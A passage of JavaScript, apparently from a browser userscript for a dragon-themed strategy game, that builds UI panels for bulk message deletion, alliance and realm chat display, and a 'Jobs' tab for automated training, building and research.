						m += '<option value=' + i + (i == t.month[type] ? ' selected' : '') + '>' + (i < 10 ? '0' : '') + i + '</option>';
					m += '</select>';
					m += '<select id=' + setUID('tabOptions_DY' + type) + ' size=1>';
					for (var i = 2010; i < t.year[1] + 1; i++)
						m += '<option value=' + i + (i == t.year[type] ? ' selected' : '') + '>' + i + '</option>';
					m += '</select></td>';
				}
				m += '</tr><tr valign=top>' + '		<td  style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top>' + '		<td colspan=2 align=center><br>' + '		<label><input id=' + setUID('tabOptions_ButDel') + ' type=button value="' + translate('Delete now') + '" /></label>' + '		</td>' + '	</tr>' + '</table>' + '</div>';
				document.getElementById(UID['tabInbox_Content']).innerHTML = m;
				document.getElementById(UID['tabOptions_msgType']).addEventListener('change', ctlChanged, false);
				document.getElementById(UID['tabOptions_MsgG']).addEventListener('click', function(event) {
					Data.options.messages_delete.msgGame = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_MsgP']).addEventListener('click', function(event) {
					Data.options.messages_delete.msgPlayer = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_MsgS']).addEventListener('click', function(event) {
					Data.options.messages_delete.msgSentinel = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_MsgA']).addEventListener('click', function(event) {
					Data.options.messages_delete.msgAlliance = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepA']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptAnthropus = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepT']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptTransport = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepS']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptSpy = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepB']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptBattle = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepF']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptReinforcement = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepC']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptCurse = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepTr']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptTrading = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepDr']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptBreeding = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_ExcM']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptExceptMyAttacks = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_ExcY']).addEventListener('click', function(event) {
					Data.options.messages_delete.rptExceptYourAttacks = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_ChkD']).addEventListener('click', function(event) {
					Data.options.messages_delete.dateAll = event.target.checked;
					disableDates();
				}, false);
				document.getElementById(UID['tabOptions_MsgG']).addEventListener('change', function(event) {
					Data.options.messages_delete.msgGame = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_MsgP']).addEventListener('change', function(event) {
					Data.options.messages_delete.msgPlayer = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_MsgS']).addEventListener('change', function(event) {
					Data.options.messages_delete.msgSentinel = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_MsgA']).addEventListener('change', function(event) {
					Data.options.messages_delete.msgAlliance = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepA']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptAnthropus = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepT']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptTransport = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepS']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptSpy = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepB']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptBattle = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepF']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptReinforcement = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepC']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptCurse = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepTr']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptTrading = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_RepDr']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptBreeding = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_ExcM']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptExceptMyAttacks = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_ExcY']).addEventListener('change', function(event) {
					Data.options.messages_delete.rptExceptYourAttacks = event.target.checked
				}, false);
				document.getElementById(UID['tabOptions_ChkD']).addEventListener('change', function(event) {
					Data.options.messages_delete.dateAll = event.target.checked;
					disableDates();
				}, false);
				for (var type = 0; type < 2; type++) {
					document.getElementById(UID['tabOptions_DD' + type]).addEventListener('change', ctlChanged, false);
					document.getElementById(UID['tabOptions_DM' + type]).addEventListener('change', ctlChanged, false);
					document.getElementById(UID['tabOptions_DY' + type]).addEventListener('change', ctlChanged, false);
					disableCheckMsgsRpts(false);
					disableDates();
				}
				document.getElementById(UID['tabOptions_ButDel']).addEventListener('click', beforeDeleteReport, false);

				function ctlChanged(event) {
					var t = Tabs.Inbox;
					var elem = document.getElementById(event.target.id);
					var value = toNum(elem.value);
					elem.value = value;
					if (event.target.id == UID['tabOptions_msgType']) {
						Data.options.messages_delete.type = value;
						disableCheckMsgsRpts(true);
					} else {
						for (var type = 0; type < 2; type++) {
							if (event.target.id == UID['tabOptions_DD' + type]) t.day[type] = value;
							else if (event.target.id == UID['tabOptions_DM' + type]) t.month[type] = value;
							else if (event.target.id == UID['tabOptions_DY' + type]) t.year[type] = value;
						}
					}
				}

				function disableDates() {
					for (var type = 0; type < 2; type++) {
						document.getElementById(UID['tabOptions_DD' + type]).disabled = Data.options.messages_delete.dateAll;
						document.getElementById(UID['tabOptions_DM' + type]).disabled = Data.options.messages_delete.dateAll;
						document.getElementById(UID['tabOptions_DY' + type]).disabled = Data.options.messages_delete.dateAll;
					}
				}

				function disableCheckMsgsRpts(byCtl) {
					disableCheckMessages(false);
					disableCheckReports(false);
					setCheckMessages((Data.options.messages_delete.type != REPORTS_ONLY), byCtl);
					setCheckReports((Data.options.messages_delete.type != MESSAGES_ONLY), byCtl);
					if (Data.options.messages_delete.type != MESSAGES_ALL) {
						disableCheckMessages((Data.options.messages_delete.type == REPORTS_ONLY));
						disableCheckReports((Data.options.messages_delete.type == MESSAGES_ONLY));
					}
				}

				function disableCheckMessages(OnOff) {
					document.getElementById(UID['tabOptions_MsgG']).disabled = OnOff;
					document.getElementById(UID['tabOptions_MsgP']).disabled = OnOff;
					document.getElementById(UID['tabOptions_MsgS']).disabled = OnOff;
					document.getElementById(UID['tabOptions_MsgA']).disabled = OnOff;
				}

				function setCheckMessages(OnOff, byCtl) {
					document.getElementById(UID['tabOptions_MsgG']).checked = OnOff;
					document.getElementById(UID['tabOptions_MsgP']).checked = OnOff;
					document.getElementById(UID['tabOptions_MsgS']).checked = OnOff;
					document.getElementById(UID['tabOptions_MsgA']).checked = OnOff;
					if (byCtl) {
						Data.options.messages_delete.msgGame = OnOff;
						Data.options.messages_delete.msgPlayer = OnOff;
						Data.options.messages_delete.msgSentinel = OnOff;
						Data.options.messages_delete.msgAlliance = OnOff;
					}
				}

				function disableCheckReports(OnOff) {
					document.getElementById(UID['tabOptions_RepA']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepT']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepS']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepB']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepF']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepC']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepTr']).disabled = OnOff;
					document.getElementById(UID['tabOptions_RepDr']).disabled = OnOff;
					document.getElementById(UID['tabOptions_ExcM']).disabled = OnOff;
					document.getElementById(UID['tabOptions_ExcY']).disabled = OnOff;
				}

				function setCheckReports(OnOff, byCtl) {
					document.getElementById(UID['tabOptions_RepA']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepT']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepS']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepB']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepF']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepC']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepTr']).checked = OnOff;
					document.getElementById(UID['tabOptions_RepDr']).checked = OnOff;
					document.getElementById(UID['tabOptions_ExcM']).checked = OnOff;
					document.getElementById(UID['tabOptions_ExcY']).checked = OnOff;
					if (byCtl) {
						Data.options.messages_delete.rptAnthropus = OnOff;
						Data.options.messages_delete.rptTransport = OnOff;
						Data.options.messages_delete.rptSpy = OnOff;
						Data.options.messages_delete.rptBattle = OnOff;
						Data.options.messages_delete.rptReinforcement = OnOff;
						Data.options.messages_delete.rptCurse = OnOff;
						Data.options.messages_delete.rptTrading = OnOff;
						Data.options.messages_delete.rptBreeding = OnOff;
						Data.options.messages_delete.rptExceptMyAttacks = OnOff;
						Data.options.messages_delete.rptExceptYourAttacks = OnOff;
					}
				}

				function beforeDeleteReport() {
					var t = Tabs.Inbox,
						opts = Data.options.messages_delete;
					if (t.checkMessagesBusy) return false;
					var leastOneCheck = false;
					if (opts.type != REPORTS_ONLY && (opts.msgGame || opts.msgPlayer || opts.msgSentinel || opts.msgAlliance))
						leastOneCheck = true;
					if ((!leastOneCheck && opts.type != MESSAGES_ONLY) &&
						(opts.rptAnthropus || opts.rptTransport || opts.rptSpy || opts.rptBattle ||
							opts.rptReinforcement || opts.rptCurse || opts.rptTrading || opts.rptBreeding))
						leastOneCheck = true;
					if (!leastOneCheck) {
						var dial = new ModalDialog(t.container, 300, 150, '', true);
						dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Error') + '</b></center></div>';
						dial.getContentDiv().innerHTML = '<B>' + translate('Select at least one type of message or report to delete') + ' !</b>';
						return;
					}
					if (!opts.dateAll) {
						for (type = 0; type < 2; type++) {
							if (!isValidDate(t.day[type], t.month[type], t.year[type])) {
								var dial = new ModalDialog(t.container, 300, 150, '', true);
								dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Error') + '</b></center></div>';
								dial.getContentDiv().innerHTML = '<B>' + (type == 0 ? translate('Invalid date From') : translate('Invalid date To')) + '" !</b>';
								return;
							}
							t.msDate[type] = Date.parse(new Date(Date.UTC(t.year[type], t.month[type] - 1, t.day[type], 0, 0, 0))) / 1000;
						}
						if (t.msDate[1] < t.msDate[0]) {
							var dial = new ModalDialog(t.container, 300, 150, '', true);
							dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Error') + '</b></center></div>';
							dial.getContentDiv().innerHTML = '<B>' + translate('Invalid date range') + ' !</b>';
							return;
						}
						t.msDate[1] += 86400;
					}
					Messages.messageDeletion = true;
					t.checkMessagesBusy = true;
					deleteMessages(function() {
						logit(translate('Messages deleted'));
						Tabs.Inbox.checkMessagesBusy = false;
						Messages.messageDeletion = false;
						Tabs.Inbox.show();
					});

					function isValidDate(day, month, year) {
						var result = false;
						var daysMonth;
						if ((month < 8 && month % 2 == 1) || (month > 7 && month % 2 == 0)) daysMonth = 31;
						else if (month != 2) daysMonth = 30;
						else if (isLeapYear(year)) daysMonth = 29;
						else daysMonth = 28;
						if (day > 0 && day < daysMonth && month > 0 && month < 13) result = true;
						return result;
					}

					function isLeapYear(year) {
						var result = false;
						if (year % 4 == 0) {
							result = true;
							if (year % 100 == 0 && year % 400 != 0) result = false;
						}
						return result;
					}
				}

				function deleteMessages(notify) {
					var t = Tabs.Inbox;
					progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
					progressBar.start({
						steps: 100,
						delay: 1,
						byCount: true,
						title: translate('Message(s) deletion in progress') + '...',
						stepText: translate('Please wait...')
					});
					Messages.dealMessages('del', t.msDate, callback);

					function callback(dat) {
						if (dat == null) {
							Tabs.Inbox.checkMessagesError = true;
							progressBarPop.getContentDiv().innerHTML = '<B>' + translate('Error while deleting messages') + '</B>';
							progressBarPop.allowClose(true);
							if (notify) notify(false);
							return;
						}
						if (dat.done) {
							actionLog(translate('Deletion of messages') + ' ' + translate('complete') + '. ' + dat.count + ' ' + translate('messages deleted'));
							progressBarPop.getContentDiv().innerHTML = '<B>' + dat.count + ' ' + translate('messages deleted') + '</B>';
							progressBarPop.allowClose(true);
							if (notify) notify(true);
						}
					}
				}
			},
			tabInboxTchatAlliance: function() {
				var t=Tabs.Inbox;
				t.tabTchatRealmActive = false;
				t.tabTchatAllianceActive = true;
				var bckgrd;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatRealm']).className = '';
				document.getElementById(UID['tabInboxTchatRealm']).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatAlliance']).className = 'selected';
				document.getElementById(UID['tabInboxTchatAlliance']).style.zIndex = 1;
				var m = '<div style="height:640px">' 
				      + '	<div class=' + UID['title'] + '>' + translate('Tchat') + ' ' + Seed.player.alliance.name + '</div>' 
					  + '	<div id=' + setUID('tabInbox_TchatAlliance') + ' class=' + UID['status_ticker'] + ' style="height:620px; max-height:620px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' 
					  + '</div>';
				document.getElementById(UID['tabInbox_Content']).innerHTML = m;
				
				var m = '<table class=' + UID['row_style'] + ' width=100%>' 
					  + '	<tr class=' + UID['row_headers'] + '>' 
					  + '			<td width=15%>' + translate('Date') + '</td>' 
					  + '			<td width=20%>' + translate('From') + '</td>' 
					  + '			<td width=55%>' + translate('Subject') + '</td>' 
					  + '			<td width=10%>' + translate('Action') + '</td>' 
					  + '	</tr>';

				var bm = [];
				for (var i = Data.options.tchat.tAlliance.length-1; i >=0 ; i--) {
					var UIDMsg = setUID('tabInboxTchatAlliance_BtnMsg'+i);
					if (i % 2 == 1) {
						bckgrd = 'rgba(255, 255, 255, 0.0)';
					} else {
						bckgrd = 'rgba(255, 255, 255, 1.0)';
					}
				
					m += '<tr style="border-bottom: 1px solid #898989; background-color:' + bckgrd + ';">' 
					  + '		<td style="white-space:nowrap">' + new Date(Data.options.tchat.tAlliance[i].time).toLocaleString() + '</td>' 
					  + '		<td style="white-space:nowrap" title="' + translate('Alliance') + ' : ' + Data.options.tchat.tAlliance[i].alliance + '\n ' + translate('Might') + ':' + numf(Data.options.tchat.tAlliance[i].power) + '" >' + Data.options.tchat.tAlliance[i].name + '</td>' 
					  + '		<td>' + wordwrap(Data.options.tchat.tAlliance[i].text, 45, '<br />',true) + '</td>' 
					  + '		<td><input id=' + UIDMsg + ' ref="' + Data.options.tchat.tAlliance[i].id + '_' + Data.options.tchat.tAlliance[i].name +'" class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" /></td>'
					  + '</tr>';
					bm.push(UIDMsg);
				}
				document.getElementById(UID['tabInbox_TchatAlliance']).innerHTML = m + '</table>';
				
				for (var b = 0; b < bm.length; b++) {
					document.getElementById(bm[b]).addEventListener('click', function(event) {
						var ids = event.target.getAttribute('ref').split('_');
						dialogSendMsg(ids[1], ids[0], true);
					});
				}

				function wordwrap( str, width, brk, cut ) {
					brk = brk || '\n';
					width = width || 75;
					cut = cut || false;
					if (!str) { return str; }
					var regex = '.{1,' +width+ '}(\\s|$)' + (cut ? '|.{' +width+ '}|.+$' : '|\\S+?(\\s|$)');
					return str.match( RegExp(regex, 'g') ).join( brk );				 
				}

			},
			tabInboxTchatRealm: function() {
				var t=Tabs.Inbox;
				var bckgrd;
				t.tabTchatRealmActive = true;
				t.tabTchatAllianceActive = false;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatAlliance']).className = '';
				document.getElementById(UID['tabInboxTchatAlliance']).style.zIndex = 0;
				document.getElementById(UID['tabInboxTchatRealm']).className = 'selected';
				document.getElementById(UID['tabInboxTchatRealm']).style.zIndex = 1;
				var m = '<div style="height:640px">' 
				      + '	<div class=' + UID['title'] + '>' + translate('Tchat') + ' ' + REALM_NAME + '</div>' 
					  + '	<div id=' + setUID('tabInbox_TchatRealm') + ' class=' + UID['status_ticker'] + ' style="height:620px; max-height:620px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' 
					  + '</div>';
				document.getElementById(UID['tabInbox_Content']).innerHTML = m;
				
				m = '<table class=' + UID['row_style'] + ' width=100%>' 
					  + '	<tr class=' + UID['row_headers'] + '>' 
					  + '			<td width=15%>' + translate('Date') + '</td>' 
					  + '			<td width=20%>' + translate('From') + '</td>' 
					  + '			<td width=55%>' + translate('Subject') + '</td>' 
					  + '			<td width=10%>' + translate('Action') + '</td>' 
					  + '	</tr>';
				
				var bm = [];	  
				for (var i = Data.options.tchat.tRealm.length-1; i >=0 ; i--) {
					var UIDMsg = setUID('tabInboxTchatAlliance_BtnMsg'+i);
					if (i % 2 == 1) {
						bckgrd = 'rgba(255, 255, 255, 0.0)';
					} else {
						bckgrd = 'rgba(255, 255, 255, 1.0)';
					}
					m += '<tr style="border-bottom: 1px solid #898989; background-color:' + bckgrd + ';">' 
					  + '		<td style="white-space:nowrap">' + new Date(Data.options.tchat.tRealm[i].time).toLocaleString() + '</td>' 
					  + '		<td style="white-space:nowrap" title="' + translate('Alliance') + ' : ' + Data.options.tchat.tRealm[i].alliance + '\n ' + translate('Might') + ':' + numf(Data.options.tchat.tRealm[i].power) + '" >' + Data.options.tchat.tRealm[i].name + '</td>' 
					  + '		<td>' + wordwrap(Data.options.tchat.tRealm[i].text, 45, '<br />', true) + '</td>' 
					  + '		<td><input id=' + UIDMsg + ' ref="' + Data.options.tchat.tRealm[i].id + '_' + Data.options.tchat.tRealm[i].name +'" class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" /></td>'
					  + '	</tr>';
					bm.push(UIDMsg);
				}
				document.getElementById(UID['tabInbox_TchatRealm']).innerHTML = m + '</table>';
				
				for (var b = 0; b < bm.length; b++) {
					document.getElementById(bm[b]).addEventListener('click', function(event) {
						var ids = event.target.getAttribute('ref').split('_');
						dialogSendMsg(ids[1], ids[0], true);
					});
				}
				
				function wordwrap( str, width, brk, cut ) {
					brk = brk || '\n';
					width = width || 75;
					cut = cut || false;
					if (!str) { return str; }
					var regex = '.{1,' +width+ '}(\\s|$)' + (cut ? '|.{' +width+ '}|.+$' : '|\\S+?(\\s|$)');
					return str.match( RegExp(regex, 'g') ).join( brk );
				}
			},

			deleteSelection: function() {
				var t = Tabs.Inbox;
				if (t.checkMessagesBusy || t.checkMessagesError) return false;
				Messages.messageDeletion = true;
				t.checkMessagesBusy = true;
				t.deleteMessages(function() {
					logit(translate('Messages selection deleted'));
					Tabs.Inbox.checkMessagesBusy = false;
					Messages.messageDeletion = false;
					Tabs.Inbox.show();
				});
			},
			deleteMessages: function(notify) {
				var t = Tabs.Inbox;
				progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
				progressBar.start({
					steps: 100,
					delay: 1,
					byCount: true,
					title: translate('Deleting selected messages in progress') + '...',
					stepText: translate('Please wait...')
				});
				Messages.deleteMessages(callback);

				function callback(dat) {
					if (dat == null) {
						Tabs.Inbox.checkMessagesError = true;
						progressBarPop.getContentDiv().innerHTML = '<B>' + translate('Error while deleting selected messages') + '</B>';
						progressBarPop.allowClose(true);
						if (notify) notify(false);
						return;
					}
					if (dat.done) {
						actionLog(translate('Deleting selected messages') + ' ' + translate('complete') + '. ' + dat.count + ' ' + translate('messages deleted'));
						progressBarPop.getContentDiv().innerHTML = '<B>' + dat.count + ' ' + translate('Messages deleted').toLowerCase() + '</B>';
						progressBarPop.allowClose(true);
						if (notify) notify(true);
					}
				}
			},
			getAllPages: function() {
				var t = Tabs.Inbox;
				if (t.checkMessagesBusy || t.checkMessagesError) return false;
				Messages.messageDeletion = true;
				t.checkMessagesBusy = true;
				t.getAllMessages(function() {
					logit(translate('All messages retrieved'));
					Tabs.Inbox.checkMessagesBusy = false;
					Messages.messageDeletion = false;
					Tabs.Inbox.show();
				});
			},
			getAllMessages: function(notify) {
				var t = Tabs.Inbox;
				progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t.container);
				progressBar.start({
					steps: 100,
					delay: 1,
					byCount: true,
					title: translate('Retrieving all messages in progress') + '...',
					stepText: translate('Please wait...')
				});
				Messages.dealMessages('get', undefined, callback);

				function callback(dat) {
					if (dat == null) {
						Tabs.Inbox.checkMessagesError = true;
						progressBarPop.getContentDiv().innerHTML = '<B>' + translate('Error while retrieving all messages') + '</B>';
						progressBarPop.allowClose(true);
						if (notify) notify(false);
						return;
					}
					if (dat.done) {
						actionLog(translate('Retrieving all messages') + ' ' + translate('complete'));
						progressBarPop.destroy();
						if (notify) notify(true);
					}
				}
			},
			getFirstPage: function(notify) {
				var t = Tabs.Inbox;
				Messages.getFirstPage(Data.options.inbox.current_tab, callback);

				function callback(dat) {
					if (dat == null || dat.error) {
						Tabs.Inbox.checkMessagesError = true;
						if (notify) notify(false);
						return;
					}
					verboseLog(translate('Retrieving messages') + ' ' + translate('complete'));
					debugLog(translate('Retrieving messages') + ' ' + translate('complete'));
					if (notify) notify(true);
				}
			},
			getMessages: function(type) {
				var t = Tabs.Inbox,
					ret = [];
				for (var i in Messages.details) {
					msg = Messages.details[i];
					if (!is_null(msg)) {
						switch (type) {
							case 'messages':
								if ((/(PlayerMessage|AllianceMessage|TargetedMessage)/.test(msg.type))) ret.push(msg);
								break;
							case 'reports':
								if (!(/(PlayerMessage|AllianceMessage|TargetedMessage)/.test(msg.type))) ret.push(msg);
								break;
							default:
								ret.push(msg);
								break;
						}
					}
				}
				ret.sort(function(a, b) {
					return b.created_at - a.created_at;
				});
				return ret;
			},
			onSelectAll: function(selected) {
				var t = Tabs.Inbox,
					sel = [];
				for (var i in Messages.details) {
					msg = Messages.details[i];
					if (!is_null(msg)) {
						switch (t.contentType) {
							case MESSAGES_ONLY:
								if ((/(PlayerMessage|AllianceMessage|TargetedMessage)/.test(msg.type))) sel.push(msg.id);
								break;
							case REPORTS_ONLY:
								if (!(/(PlayerMessage|AllianceMessage|TargetedMessage)/.test(msg.type))) sel.push(msg.id);
								break;
							default:
								sel.push(msg.id);
								break;
						}
					}
				}
				for (var i = 0; i < sel.length; i++)
					Messages.details[sel[i]].checked = selected;
				t.show();
			},
			refreshFirstPage: function() {
				var t = Tabs.Inbox;
				if (t.checkMessagesBusy || t.checkMessagesError) return false;
				t.checkMessagesBusy = true;
				t.getFirstPage(function() {
					Tabs.Inbox.checkMessagesBusy = false;
				});
				t.show();
			}
		}

		/******************************** Jobs Tab ***********************************/
		Tabs.Jobs = {
			tabOrder: JOBS_TAB_ORDER,
			tabLabel: 'Tasks',
			tabDisabled: !JOBS_TAB_ENABLE,
			lastSubTab: 'tabJobInfo',
			container: null,
			timer: null,
			contentType: 0, /* 0 = info, 1 = train, 2 = build, 3 = research, 4 = resurrect, 5 = sanctuary, 6 = Dragon, 7 = Trade, 8 = Forge - these should be enums but Javascript doesn't support that type */
			trainContentType: 0, /* 0 = train, 1 = config */
			sanctContentType: 0, /* 0 = dragons overview, 1 = breeding */
			tradeContentType: 0, /* 0 = buy, 1 = sell */
			forgeContentType: 0, /* 0 = adventurers, 1 = forge, 2 = inventory */
			buildScrollPos: 0,
			selectedQ: 'min_resource',
			refreshPlayerBusy: false,

			trainTimer: null,
			trainErrorCount: 0,
			trainRetryTime: 20000,

			buildTimer: null,
			buildErrorCount: 0,
			buildRetryTime: 20000,
			buildRefreshTab: false,
			buildRefreshLvl: false,
			last_built: {},
			
			runningForge: {
				start_at: 0
			},
			forgeTimer: null,
			foErrorCount: 0,
			foRetryTime: 20000,
			
			researchTimer: null,
			resErrorCount: 0,
			resRetryTime: 20000,

			resurrectTimer: null,
			revErrorCount: 0,
			revRetryTime: 20000,

			sanctuaryTimer: null,
			feedErrorCount: 0,
			feedRetryTime: 20000,

			init: function(div) {
				var t = Tabs.Jobs;
				var canResurrect = ((Seed.cities[CAPITAL.id].souls && Seed.cities[SPECTRAL_OUTPOST.id]) ? true : false );
				
				Data.setDefaultValues('jobs');
				t.container = div;
				var m = '<ul class="tabs" style="border-bottom:none; padding-bottom:0;height:23px">' +
					'<li class="tab first line1"><a id=' + setUID('tabJobInfo') + '>' + translate('Summary') + '</a></li>' +
					'<li class="tab line1"><a id=' + setUID('tabJobTrain') + '>' + translate('Train') + '</a></li>' +
					'<li class="tab line1"><a id=' + setUID('tabJobBuild') + '>' + translate('Build') + '</a></li>' +
					'<li class="tab line1"><a id=' + setUID('tabJobResearch') + '>' + translate('Research') + '</a></li>';
			
				if (canResurrect) {
					m += '<li class="tab line1"><a id=' + setUID('tabJobResurrect') + '>' + translate('Resurrect') + '</a></li>';
				}
				m += '<li class="tab line1"><a id=' + setUID('tabJobSanctuary') + '>' + translate('dragon-sanctuary') + '</a></li>' +
					'</ul><ul class="tabs first line2"><li class="tab line2"><a id=' + setUID('tabJobDragon') + '>' + translate('dragon') + '</a></li>' +
					'<li class="tab line2"><a id=' + setUID('tabJobTrade') + '>' + translate('trade') + '</a></li>' +
					'<li class="tab line2"><a id=' + setUID('tabJobForge') + '>' + translateByKey('forge', null, 'dialogs') + '</a></li>' +
					'</ul>' +
					'<div id=' + setUID('tabJob_Header') + ' style="height:225px; max-height:225px; margin-bottom:5px;"></div>' +
					'<div id=' + setUID('tabJob_Content') + ' class="' + UID['scrollable'] + '" style="padding-top:5px; height:435px; max-height:700px;"></div>';

				div.innerHTML = m;
				document.getElementById(UID['tabJobInfo']).addEventListener('click', t.tabJobInfo, false);
				document.getElementById(UID['tabJobTrain']).addEventListener('click', t.tabJobTrain, false);
				document.getElementById(UID['tabJobBuild']).addEventListener('click', t.tabJobBuild, false);
				document.getElementById(UID['tabJobResearch']).addEventListener('click', t.tabJobResearch, false);
				document.getElementById(UID['tabJobSanctuary']).addEventListener('click', t.tabJobSanctuary, false);
				document.getElementById(UID['tabJobDragon']).addEventListener('click', t.tabJobDragon, false);
				if (Seed.cities[CAPITAL.id].souls && Seed.cities[SPECTRAL_OUTPOST.id]) {
					document.getElementById(UID['tabJobResurrect']).addEventListener('click', t.tabJobResurrect, false);
				}
				document.getElementById(UID['tabJobTrade']).addEventListener('click', t.tabJobTrade, false);
				document.getElementById(UID['tabJobForge']).addEventListener('click', t.tabJobForge, false);

				/* Restore the views */
				t.contentType = Data.options.jobs.current_tab;
				t.trainContentType = Data.options.training.current_tab;
				t.sanctContentType = Data.options.sanctuary.current_tab;
				t.forgeContentType = Data.options.forge.current_tab;

				/* Enable the jobs */
				t.setTrainEnable(Data.options.training.enabled);
				t.selectedQ = Data.options.training.mode;
				t.setBuildEnable(Data.options.building.enabled);
				t.setResearchEnable(Data.options.research.enabled);
				t.setForgeMissionEnable(Data.options.forge.enableAutoMission);
				if (Seed.cities[SPECTRAL_OUTPOST.id])
					t.setResurrectEnable(Data.options.resurrect.enabled);

				window.addEventListener('unload', t.onUnload, false);
			},

			show: function() {
				var t = Tabs.Jobs;
				switch (t.contentType) {
					case 0:
						t.tabJobInfo();
						break;
					case 1:
						t.tabJobTrain();
						break;
					case 2:
						t.tabJobBuild();
						break;
					case 3:
						t.tabJobResearch();
						break;
					case 4:
						if (Seed.cities[SPECTRAL_OUTPOST.id]) t.tabJobResurrect();
						else t.tabJobInfo();
						break;
					case 5:
						t.tabJobSanctuary();
						break;
					case 6:
						t.tabJobDragon();
						break;
					case 7:
						t.tabJobTrade();
						break;
					case 8:
						t.tabJobForge();
						break;
				}
			},
			hide: function() {
				var t = Tabs.Jobs;
			},
			onUnload: function() {
				logit('===============  Tabs.Jobs.onUnload');
				var t = Tabs.Jobs;
				Data.options.jobs.current_tab = t.contentType;
				Data.options.training.current_tab = t.trainContentType;
				Data.options.sanctuary.current_tab = t.sanctContentType;
				Data.options.forge.current_tab = t.forgeContentType;
				Data.options.training.mode = t.selectedQ;
			},
			clearTimers: function() {
				var t = Tabs.Jobs;
				clearInterval(t.jobsStatTimer);
			},


			/** Tab: Jobs - SubTab:  Info **/
			tabJobInfo: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobInfo']).className = 'selected';
				document.getElementById(UID['tabJobInfo']).style.zIndex = 1;
				t.lastSubTab = 'tabJobInfo';

				t.contentType = 0;
				var city = Seed.cities[CAPITAL.id];

				var n = '<div class=' + UID['title'] + '>' + translate('information') + '</div>' + '	<table width=100%><tr><td><input id=' + setUID('tabJobInfo_Refresh') + ' type=button value=' + translate('Refresh') + '></input></td></tr></table>';

				document.getElementById(UID['tabJob_Header']).style.height = "45px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;
				document.getElementById(UID['tabJobInfo_Refresh']).addEventListener('click', refresh, false);
				document.getElementById(UID['tabJob_Content']).style.height = "593px";
				document.getElementById(UID['tabJob_Content']).innerHTML = '<div id="' + setUID('tabJob_Container') + '"></div>';
				var container = document.getElementById(UID['tabJob_Container']);

				function jobsStatTick() {
					/* Main City */
